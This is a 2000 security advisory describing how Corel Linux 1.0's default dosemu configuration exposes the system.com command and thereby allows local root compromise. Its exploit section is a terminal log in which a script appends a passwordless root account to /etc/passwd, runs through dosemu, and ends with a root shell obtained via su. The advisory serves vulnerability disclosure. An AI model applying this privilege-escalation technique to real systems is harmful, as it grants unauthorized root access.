suid@suid.kg - Corel Linux dosemu config error. Local root compromise.

Software:   Corel Linux 1.0 dosemu distribution configuration
URL:    http://linux.corel.com
Version:  Version 1.0
Platforms:  Corel Linux only.
Type:     Default misconfiguration. Noone reads README anymore??

Summary:

  Local users can take advantage of a packaging and configuration
  error (which has been known and documented for a long time) to
  execute arbitrary commands as root.

  We see from the doc/README/SECURITY file as well as 
  http://www.dosemu.org/docs/README/0.98/README-3.html
  written in 1997 that this configuration is bad.

Vulnerability:

  The system.com command is available to any user who runs the
  dos emulator. This is a direct violation of the advice from 
  the SECURITY readme file:

    Never allow the 'system.com' command (part of dosemu) 
    to be executed. It makes dosemu
                execute the libc 'system() function'. Though privileges 
    are turned off, the process inherits the
                switched uid-setting (uid=root, euid=user), hence the 
    unix process can use setreuid to gain root
                access back. ... the rest you can imagine your self. 

Exploit:

  This is a script log which details how to reproduce this:

  
    Script started on Fri Feb 25 13:54:00 2000
    nebula:~$ id
    uid=1000(suid) gid=1000(suid) groups=1000(suid)
    nebula:~$ cat > hack-corel
    #!/bin/bash
    echo "owned::0:0::/:/bin/bash" >> /etc/passwd
    ^D
    nebula:~$ chmod a+rx hack-corel 
    nebula:~$ export PATH="$PATH:."
    nebula:~$ dos
    CPU speed set to 430/1 MHz
    Running on CPU=586, FPU=1, rdtsc=1

      [ snip bunch of dosemu crap ]

    "Welcome to dosemu 0.98!
    C:\> system hack-corel;
    sh: : command not found
    C:\> exitERROR: general protection at 0x3f0ff: 0
    ERROR: SIGSEGV, protected insn...exiting!

    nebula:~$ tail -1 /etc/passwd
    owned::0:0::/:/bin/bash
    nebula:~$ su owned
    nebula:/home/suid# id
    uid=0(root) gid=0(root) groups=0(root)
    nebula:/home/suid# exit
    exit
    nebula:~$ exit

    Script done on Fri Feb 25 13:55:27 2000

Note:
  This is not a vulnerability in dosemu itself. The documentation
  warns users very specifically that this will happen if the system
  is configured as such. 

Greets:

  duke
  cr
  active
  
http://www.suid.edu/advisories/008.txt

EOF